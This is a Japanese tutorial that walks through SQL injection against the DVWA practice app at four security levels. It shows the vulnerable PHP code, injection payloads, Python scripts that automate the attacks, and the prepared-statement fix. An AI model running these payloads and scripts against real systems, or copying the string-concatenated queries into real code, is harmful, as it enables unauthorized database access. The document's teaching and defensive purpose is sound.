Webアプリケーションの脆弱性診断練習用アプリ「DVWA (Damn Vulnerable Web App)」を使用して、SQLインジェクション (SQLi) の仕組みと、Pythonスクリプトによる攻撃の自動化について検証した記録をまとめます。
環境構築については【DVWA】DockerでDVWA環境を構築してコマンドインジェクションを試すをご覧ください。
Level: Low
挙動の確認
まずは通常の挙動を確認します。ID入力欄に 1 を入れると、そのIDに対応したユーザ情報(First name, Surname)が返却されます。
では、ここで 1' or '1' = '1 と入力するとどうなるでしょうか。

この通り、データベース内部のすべての情報が露呈してしまいました。これが典型的なSQLインジェクションです。
ソースコード解析
なぜこのような問題が起きたのか、サーバー側のPHPコードを確認します。
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// (省略: 結果の表示処理)
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
問題となる箇所は以下の行です。
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
ここでは、ユーザからの入力値 $id を何の処理もせずにそのままSQL文の結合に使用してしまっています。
通常の数値だけであれば問題ありませんが、先ほどのように 1' or '1' = '1 が入力された場合、完成するSQL文は以下のようになります。
SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1';
これにより WHERE 句の条件が常に TRUE となり、全データが表示されてしまいます。
Pythonによる再現
この攻撃をPythonの requests ライブラリと BeautifulSoup を使って自動化してみます。
import requests
from bs4 import BeautifulSoup
url = "url"
# ブラウザから確認した値をセット
cookies = {
'PHPSESSID': 'sessionId',
'security': 'low'
}
# 攻撃用パラメータ
params = {
'id': "1' or '1'='1",
'Submit': 'Submit'
}
try:
response = requests.get(url, params=params, cookies=cookies)
response.raise_for_status() # エラーチェック
# HTML解析の準備
soup = BeautifulSoup(response.text, 'html.parser')
# DVWAのSQLi結果は通常 <pre> タグ内に出力されるため、それを全て取得
results = soup.find_all('pre')
if results:
print("=== 取得されたデータベース情報 ===")
for result in results:
print(result.get_text().strip())
print("-" * 20) # 区切り線
else:
print("データが見つかりませんでした(またはSQLiが失敗しました)。")
except requests.exceptions.RequestException as e:
print(f"通信エラーが発生しました: {e}")
実行結果:

Level: Medium
挙動の確認
DVWAのセキュリティレベルをMediumに変更すると、画面のUIが変化します。テキストボックスではなく、ドロップダウンリストからIDを選択する方式になり、通信メソッドも GET から POST に変更されています。

「あらかじめ用意された値を選択するだけなら安全ではないか?」と思えますが、Burp Suiteなどで通信をキャプチャして値を書き換えることは可能です。
しかし、先ほどのLowレベルと同じ攻撃コード (1' or '1'='1) を送るとSQL構文エラーとなり失敗してしまいます。
ソースコード解析
Mediumのコードを見てみましょう。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
// エスケープ処理の追加
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
// (以下省略)
}
?>
Lowとの決定的な違いは mysqli_real_escape_string 関数の存在です。
この関数は、SQL文として特別な意味を持つ文字(シングルクォート ' など)の直前にバックスラッシュを付与して無害化(サニタイズ)します。
'→\'"→\"
これにより、シングルクォートを使った攻撃は無効化されます。しかし、脆弱性はまだ残っています。 注目すべきはSQL文の構成です。
- Low:
user_id = '$id'(文字列として扱う) - Medium:
user_id = $id(数値として扱う)
Mediumでは変数がクォートで囲まれていません。つまり、攻撃にシングルクォートを使う必要がないのです。
クォートを使わなければ mysqli_real_escape_string のエスケープ対象にはなりません。
Pythonによる再現
数値型のインジェクションを突くため、クォートを使わないペイロード 1 or 1 = 1 を使用します。
# 抜粋: POSTリクエストへの変更とPayloadの修正
data = {
'id': "1 or 1 = 1", # クォートを使わない
'Submit': 'Submit'
}
try:
response = requests.post(url, data=data, cookies=cookies)
# (以降の解析コードはLowと同じ)
実行結果:

このように、入力値の検証が不十分であれば、エスケープ関数を使っていてもSQLインジェクションは成立してしまいます。
Level: High
挙動の確認
Highレベルでは、検索画面と結果画面が分離されています。 「Click here to change your ID」をクリックするとポップアップウィンドウが立ち上がり、そこでIDを入力する仕様です。


入力後、元の画面に戻ると結果が表示されます。

試しに通常のSQLインジェクションを試みても、何も表示されないか、あるいは意図した結果になりません。

ソースコード解析
サーバー側の処理を確認します。
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// (以下省略)
}
?>
ここでは user_id = '$id' と文字列型に戻っていますが、末尾に LIMIT 1 が追加されているのが厄介です。
LIMIT 1 があるため、条件を OR 1=1 で真にしても、データベースは「最初の1件」しか返してくれません。
全データを取得するには、この LIMIT 1 を無効化する必要があります。SQLのコメントアウト記号 # を使うことで、それ以降の命令(LIMIT 1)を無視させることができます。
Pythonによる再現 (セッション維持)
Highレベルの攻略には、「入力用ページへのPOST」と「結果ページへのGET」という2段階の手順が必要になります。この際、同一のセッション(Cookie)を維持しないと、入力したデータが結果画面に反映されません。
Pythonの requests.Session() を使用してこれを実装します。
import requests
from bs4 import BeautifulSoup
# === 設定項目 ===
base_url = "url1"
input_url = "url2"
cookies = {
'PHPSESSID': 'sessionId',
'security': 'high'
}
# 攻撃用ペイロード: LIMIT 1 を # でコメントアウトして無効化する
payload_str = "' or 1=1 #"
# === 実行コード ===
# セッションを開始(これにより、2つのリクエスト間でクッキーが維持される)
session = requests.Session()
session.cookies.update(cookies)
try:
print(f"[*] Step 1: 攻撃コードを送信中... Payload: {payload_str}")
# 1. 入力画面(ポップアップの中身)にデータをPOST送信
post_data = {
'id': payload_str,
'Submit': 'Submit'
}
response_post = session.post(input_url, data=post_data)
response_post.raise_for_status()
print("[*] Step 1 完了。データがセッションに保存されました。")
print(f"[*] Step 2: 結果ページを取得中...")
# 2. 結果ページ(元の画面)をGET取得
# ここで初めて、保存された攻撃コードがSQLとして実行される
response_get = session.get(base_url)
response_get.raise_for_status()
# 3. 結果の解析と表示
soup = BeautifulSoup(response_get.text, 'html.parser')
results = soup.find_all('pre')
if results:
print("\n=== SQL Injection 成功 (取得データ) ===")
for result in results:
print(result.get_text().strip())
print("-" * 20)
else:
print("\n[!] データが見つかりませんでした。攻撃失敗の可能性があります。")
except requests.exceptions.RequestException as e:
print(f"通信エラー: {e}")
実行結果:

Level: Impossible
ソースコード解析
最後に、脆弱性が修正された「Impossible」レベルのコードを確認します。ここには、Webアプリケーションセキュリティにおける重要な防御策が実装されています。
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
このコードには、SQLインジェクションを防ぐための完全な対策が含まれています。
1. プリペアドステートメント (Prepared Statements) の使用
最も重要な防御策は、PDO (PHP Data Objects) を使用したプリペアドステートメントです。
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
これまでのレベル(Low/Medium/High)では、ユーザーの入力を文字列結合でSQL文に埋め込んでいました。しかし、プリペアドステートメントでは以下の手順を踏みます。
- Prepare: データベース管理システム(DBMS)にあらかじめ「SQL文の構造(命令の形)」を伝えます(
user_id = (:id)の部分)。この時点でSQLの構文が確定します。 - Bind: プレースホルダ
(:id)に実際の値$idを割り当てます。 - Execute: クエリを実行します。
この仕組みにより、仮に $id に ' OR 1=1 という文字列が入っていても、それは「SQL命令」ではなく、単なる「検索したい文字列(データ)」として扱われます。結果として、SQLインジェクションは物理的に不可能になります。
2. 入力値の型検証 (Input Validation)
if(is_numeric( $id )) { ... }
is_numeric() 関数により、入力値が数値であることを厳密にチェックしています。SQLインジェクションの文字列(' や OR など)が含まれている場合、このチェックで弾かれ、データベースへの問い合わせ自体が行われません。
これは「多層防御」の観点からも有効なアプローチです。
3. CSRF対策 (Anti-CSRF Token)
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
SQLインジェクションとは直接関係ありませんが、CSRF(クロスサイト・リクエスト・フォージェリ)トークンのチェックも追加されています。これにより、攻撃者がユーザーに意図しないリクエストを送信させる攻撃も防いでいます。
まとめ
今回の検証を通じて、SQLインジェクションの危険性と、コードの記述方法による脆弱性の違いの理解を目指しました。最後にそれぞれのレベルでの総評を簡単にまとめて本記事を締めくくります。
- Low: 入力値をそのままSQL結合しており、最も危険。
- Medium: エスケープ処理 (
mysqli_real_escape_string) はあるが、数値型に対するクォートなしの記述により回避可能。 - High:
LIMIT句などの制約はあるが、コメントアウト等で無効化可能。 - Impossible: プリペアドステートメントを使用することで、SQLの構造とデータを分離し、完全に防御。